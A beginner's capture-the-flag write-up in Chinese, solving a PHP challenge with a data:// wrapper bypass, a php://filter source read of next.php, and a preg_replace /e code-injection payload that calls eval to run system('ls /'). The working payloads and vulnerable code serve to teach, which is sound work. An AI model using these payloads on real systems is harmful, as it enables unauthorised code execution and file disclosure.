本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,给了我们一段源码,

第一个if判断条件可以用data协议进行绕过,

1
?text=data://text/plain,I have a dream


根据提示需要读取next.php文件,直接读取没有什么信息,需要使用php://filter伪协议,

1
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php


base64解码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id']; //GET请求获得id参数,但感觉id参数没什么用
$_SESSION['id'] = $id;

function complex($re, $str) { //使用了preg_replace的/e修饰符,这会导致替换字符串被当作PHP代码执行
return preg_replace(
'/(' . $re . ')/ei', // 正则表达式模式
'strtolower("\\1")', //替换字符串
$str //被搜索的字符串
);
}


foreach($_GET as $re => $str) { //拆解GET参数,将'='前的参数名赋值给$re,'='后的参数值赋值给$str,例如‘?123=abc’,$re=123,$str=abc
echo complex($re, $str). "\n"; //将$re和$str传入complex函数
}

function getFlag(){ //直接通过eval()执行来自GET参数cmd的输入
@eval($_GET['cmd']);
}

pre_replace()

preg_replace() 是 PHP 中一个强大的正则表达式替换函数,用于执行基于正则表达式的搜索和替换操作。
基本语法:

1
2
3
4
5
6
7
mixed preg_replace ( 
mixed $pattern ,
mixed $replacement ,
mixed $subject
[, int $limit = -1
[, int &$count ]]
)

$pattern - 要搜索的正则表达式模式
可以是字符串或字符串数组
通常用分隔符包围,如 /pattern/
$replacement - 替换的字符串或字符串数组
可以包含反向引用(如 \\1, \\2 等)
也可以是回调函数(PHP 5.5.0+)
$subject - 要搜索替换的目标字符串或字符串数组
$limit (可选) - 最大替换次数
默认 -1 表示无限制
$count (可选) - 如果指定,将被填充为完成的替换次数

基本替换

1
2
3
$str = "Hello World";
$newStr = preg_replace("/World/", "PHP", $str);
// 结果: "Hello PHP"

preg_replace中使用/e修饰符,这会导致替换字符串被当作PHP代码执行

主要审计这部分代码

1
2
3
4
5
6
7
function complex($re, $str) {   
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

1.正则表达式构建 '/(' . $re . ')/ei'
将用户输入的 $re 作为正则表达式的一部分
用括号 () 捕获匹配的内容(组1)
/e 修饰符使替换字符串被当作PHP代码执行
/i 修饰符表示不区分大小写
2.替换部分'strtolower("\\1")'
\\1表示正则匹配的第一个捕获组
表面上看是将匹配的内容转换为小写

在正则表达式替换中:
\1 表示反向引用,指向正则表达式中第一个捕获组(第一个括号匹配的内容)
在PHP字符串中,由于反斜杠需要转义,所以写成\\1

构造payload:

1
/next.php?\S*=${getflag()}&cmd=system('ls /');

构造的正则表达式:

1
preg_replace('/(\S*)/ei', 'strtolower("\\1")', "${getflag()}");

\S* 表示”匹配任意长度的非空白字符序列”,确保能捕获到 ${getflag()} 这部分,
PHP在双引号字符串中会解析 ${} 语法,
由于/e修饰符和${}的PHP可变变量特性:
${getflag()}会被当作PHP代码执行,
从而调用getflag()函数,


获得flag